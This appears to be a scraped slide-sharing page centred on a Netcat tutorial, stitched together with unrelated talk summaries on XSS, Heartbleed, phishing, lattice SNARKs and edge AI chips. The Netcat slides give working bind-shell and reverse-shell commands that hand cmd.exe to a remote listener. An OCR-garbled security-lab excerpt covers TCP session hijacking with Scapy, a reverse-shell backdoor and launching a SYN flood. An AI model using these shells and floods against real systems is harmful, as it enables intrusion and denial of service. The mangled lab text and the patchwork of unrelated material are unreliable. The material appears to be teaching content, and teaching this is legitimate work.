Netcat is a tool that can be used for port scanning, banner grabbing, file transfer, remote shell access, and chatting over networks using TCP or UDP. It allows viewing open ports on a system through port scanning. Banner grabbing determines the service, version, and OS by connecting to an open port. File transfer and chat are done by setting up Netcat in server and client modes. Remote shell access can be provided through a bind shell, which binds a shell like cmd.exe to a port, or a reverse shell, which sends a shell from the client to a listening Netcat server.

One Shellcode to Rule Them All: Cross-Platform Exploitation
As the internet of things becomes less a buzzword, and more a reality, we're noticing that it's growing increasingly common to see embedded software which runs across different architectures -whether that's the same router firmware running across different models, or the operating system for a smart TV being used by different manufacturers. In a world where even your toaster might have internet access, we suspect that the ability to write cross-platform shellcode is going transition from being a merely neat trick, to a viable tool for attackers.
Writing cross-platform shellcode is tough, but there's a few techniques you can use to simplify the problem. We discuss one such method, which we used to great success during the DEFCON CTF qualifiers this year.
Presented by Tinfoil Security founder Michael Borohovski and engineer Shane Wilton at Secuinside 2014, in Seoul.

Xss 101 by-sai-shanthan
Cross Site Scripting (XSS) allows malicious users to insert client-side scripts into web pages by exploiting vulnerabilities. There are three main types of XSS attacks: non-persistent XSS only affects the current user, while persistent XSS saves the malicious script to databases and can target multiple users. DOM-based XSS modifies the DOM environment rather than HTTP responses. XSS can be used to steal cookies, hijack sessions, modify page content, and redirect users. Developers can prevent XSS by validating, sanitizing, and escaping all untrusted user input to the application.

Netcat is a versatile network utility tool that can be used for both legitimate network analysis and security issues identification. It allows creating inbound or outbound TCP or UDP connections to any ports and can be used for port scanning, data transfer, and performance testing. However, it also poses security risks if used maliciously by allowing execution of programs on listening ports, which could enable attacks like SYN flooding.
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
The document discusses exploiting vulnerabilities in wireless routers that have USB ports for sharing storage and printers. It describes conducting attacks against a D-Link wireless router to steal data, delete data, and implant backdoors by accessing the shared USB flash drive and printer through the router's vulnerable SharePort technology. The attacker scans the wireless network, identifies the router and connected USB devices, and then explores ways to hack into the shared resources and conduct unauthorized activities.

It briefly mentions using sFlow for performance monitoring and analytics.
Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf
Figure 3: TCP Session Hijacking Attack victims to execute the malicious commands. Figure 3
depicts how the attack works. In this task, you need to demonstrate how you can hijack a telnet
session between two computers. Your goal is to get the tel net server to run a malicious
command from you. For the simplicity of the task, we assume that the attacker and the victim are
on the same LAN. Launching the attack manually. Please use Scapy to conduct the TCP Session
Hijacking attack. A skeleton code is provided in the following. You need to replace each @@
@e with an actual value; you can use Wireshark to figure out what value you should put into
each field of the spoofed TCP packets. \#! /usr/bin/env python 3 from scapy. all import * data -
"" pkt - ip/tcp/data ls (pkt) send (pkt, verbose-0) Optional: Launching the attack automatically.
Students are encouraged to write a program to launch the attack automatically using the sniffing-
and-spoofing technique. Unlike the manual approach, we get all the parameters from sniffed
packets, so the entire attack is automated. Please make sure that when you use Scapy's sn iff
function, don't forget to set the if a ce argument. 6 Task 4: Creating Reverse Shell using TCP
Session Hijacking When attackers are able to inject a command to the victim's machine using
TCP session hijacking, they are not interested in running one simple command on the victim
machine; they are interested in running many commands. Obviously, running these commands
all through TCP session hijacking is inconvenient. What attackers want to achieve is to use the
attack to set up a back door, so they can use this back door to conveniently conduct further
damages. A typical way to set up back doors is to run a reverse shell from the victim machine to
give the attack the shell access to the victim machine. Reverse shell is a shell process running on
a remote machine, connecting back to the attacker's machine. This gives an attacker a convenient
way to access a remote machine once it has been compromised.
the lab setup. Please compile the program on the VM and then launch the attack on the target
machine. // Compile the code on the host VM \$ gcc -o synflood synflood.c // Launch the attack
from the attacker container \# synflood 1090.523 // Compile the code on the host VM \$ gcc -o
synflood synflood.c // Launch the attack from the attacker container \# synflood 10.9.0.5 23
Before launching the attack, please restore the queue size to its original value. Please compare
the results with the one using the Python program, and explain the reason behind the difference.
3.3 Task 1.3: Enable the SYN Cookie Countermeasure Please enable the SYN cookie
mechanism, and run your attacks again, and compare the results. 4 Task 2: TCP RST Attacks on

Spear phishing attacks-by-hari_krishna
Spear phishing is a targeted form of phishing that aims to steal information from specific individuals or organizations. Unlike regular phishing, which casts a wide net, spear phishing targets key people who would have access to sensitive data. The attacker performs reconnaissance to gather personal details about the target from social media and other sources. Then they craft a personalized email that appears to come from a trusted source, tempting the target to click a link or attachment and reveal credentials or sensitive information. Spear phishing is a significant security risk as it bypasses traditional defenses and directly targets valuable insider information.
Social engineering by-rakesh-nagekar
Social engineering is manipulating people into taking actions or revealing confidential information. It has been used for over 100 years by con artists known as social engineers. Popular social engineers from the 20th century included Victor Lustig, who sold the Eiffel Tower multiple times, and Frank Abagnale Jr., who impersonated professionals like pilots and lawyers. More recently, Kevin Mitnick used social engineering to gain unauthorized access to computer networks in the 1990s. Social engineering works by gathering information about targets, developing trust with them, then exploiting that trust to obtain information or actions. It is accomplished using techniques like phone calls, online chatting, looking through trash, and shoulder surfing. Organizations can help prevent social engineering by establishing frameworks for
The art of_firewalking-by-sujay
Firewalking is a network security technique that uses traceroute principles to determine which layer 4 protocols a firewall will allow by sending packets with incrementing TTL values. It has two phases: first, it discovers the network topology and identifies the target gateway using traceroute; second, it scans the gateway by sending TCP/UDP packets with the TTL set to the gateway plus one, and analyzes the responses to determine open ports. Concerns about firewalking include false negatives if devices drop packets, and it can be used to map networks in an unauthorized manner. Mitigation techniques include disabling ICMP TTL exceeded messages and using NAT or proxies.
Heartbleed by-danish amber
Heartbleed is a serious vulnerability in OpenSSL cryptographic software that allows stealing information protected by SSL/TLS encryption. It allows attackers to read portions of servers' memory, compromising private keys and stealing users' passwords and session cookies. The flaw was due to a mistake in Robin Seggelmann's 2011 implementation of the TLS Heartbeat Extension that failed to check for buffer overflows. It was not discovered until April 2014 and impacted around 17% of internet servers before being patched. The vulnerability, named Heartbleed, had the potential to compromise private communication data.

zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
Folding is a recent technique for building efficient recursive SNARKs. Several elegant folding protocols have been proposed, such as Nova, Supernova, Hypernova, Protostar, and others. However, all of them rely on an additively homomorphic commitment scheme based on discrete log, and are therefore not post-quantum secure. In this work we present LatticeFold, the first lattice-based folding protocol based on the Module SIS problem. This folding protocol naturally leads to an efficient recursive lattice-based SNARK and an efficient PCD scheme. LatticeFold supports folding low-degree relations, such as R1CS, as well as high-degree relations, such as CCS. The key challenge is to construct a secure folding protocol that works with the Ajtai commitment scheme. The difficulty, is ensuring that extracted witnesses are low norm through many rounds of folding. We present a novel technique using the sumcheck protocol to ensure that extracted witnesses are always low norm no matter how many rounds of folding are used. Our evaluation of the final proof system suggests that it is as performant as Hypernova, while providing post-quantum security.

Bram Verhoef, Head of Machine Learning at Axelera AI, presents the “How Axelera AI Uses Digital Compute-in-memory to Deliver Fast and Energy-efficient Computer Vision” tutorial at the May 2024 Embedded Vision Summit.
As artificial intelligence inference transitions from cloud environments to edge locations, computer vision applications achieve heightened responsiveness, reliability and privacy. This migration, however, introduces the challenge of operating within the stringent confines of resource constraints typical at the edge, including small form factors, low energy budgets and diminished memory and computational capacities. Axelera AI addresses these challenges through an innovative approach of performing digital computations within memory itself. This technique facilitates the realization of high-performance, energy-efficient and cost-effective computer vision capabilities at the thin and thick edge, extending the frontier of what is achievable with current technologies.
In this presentation, Verhoef unveils his company’s pioneering chip technology and demonstrates its capacity to deliver exceptional frames-per-second performance across a range of standard computer vision networks typical of applications in security, surveillance and the industrial sector. This shows that advanced computer vision can be accessible and efficient, even at the very edge of our technological ecosystem.How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf

How information systems are built or acquired puts information, which is what they should be about, in a secondary place. Our language adapted accordingly, and we no longer talk about information systems but applications. Applications evolved in a way to break data into diverse fragments, tightly coupled with applications and expensive to integrate. The result is technical debt, which is re-paid by taking even bigger "loans", resulting in an ever-increasing technical debt. Software engineering and procurement practices work in sync with market forces to maintain this trend. This talk demonstrates how natural this situation is. The question is: can something be done to reverse the trend?

- 2. It is a tool that can read and write data across networks, usingTCP or UDP protocol. It can be operated both in server and client mode.
- 3. Port scanning Banner Grabbing Backdoor File transfer Port Redirector Chatting and Many more…
- 4. Port scanning is the process of scanning a specified host and looking for ports that may be open or closed. Here is the syntax to scan ports… # nc -v -z IP_Address port_range -v is for verbosity (without –v it wont display result in output)
- 5. Banner grabbing is a technique to determine the service running or application, version, operating system. Using the below syntax : # nc -v IP_Address port when you hit enter,After a few seconds you see some information about your IP address and port number, then write GET / HTTP/1.1 and hit enter and see some information about your victim.
- 6. File transfer/ chat works by setting up a server and client. FileTransfer nc –l –p 1234 > testfile.txt [Reciever’s end] nc IP_Address 1234 < testfile.txt [Sender’s end] type abc.jpeg | nc –lvp 8080 nc –l Server_IP 8080 > abc.jpeg Chat Server nc –l –p 1234 [Reciever’s end] nc IP_Address 1234 [Sender’s end]
- 7. Netcat has the ability of providing a remote shell as well. We can do this in two ways… 1. Bind Shell 2. Reverse Shell
- 8. We can take cmd.exe/shell and bind it to a local port, and anyone connecting to this port will be presented with command prompt belonging to that machine.This is known as a BIND SHELL. Syntax as follows… # nc –l -p 1337 –e cmd.exe [Server] # nc –v Server_IP 1337 [Client]
- 9. Reverse Shell: Netcat can also "send" a shell to another instance of a listening Netcat session.This is especially useful if the attacked machine is behind a firewall or otherwise nat'ed # nc –lvp 1337 [Server] # nc –v Server_IP 1337 –e cmd.exe [Client]
- 10. It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me ☺
- 11. SpecialThanks to CATechnologies for the venue.
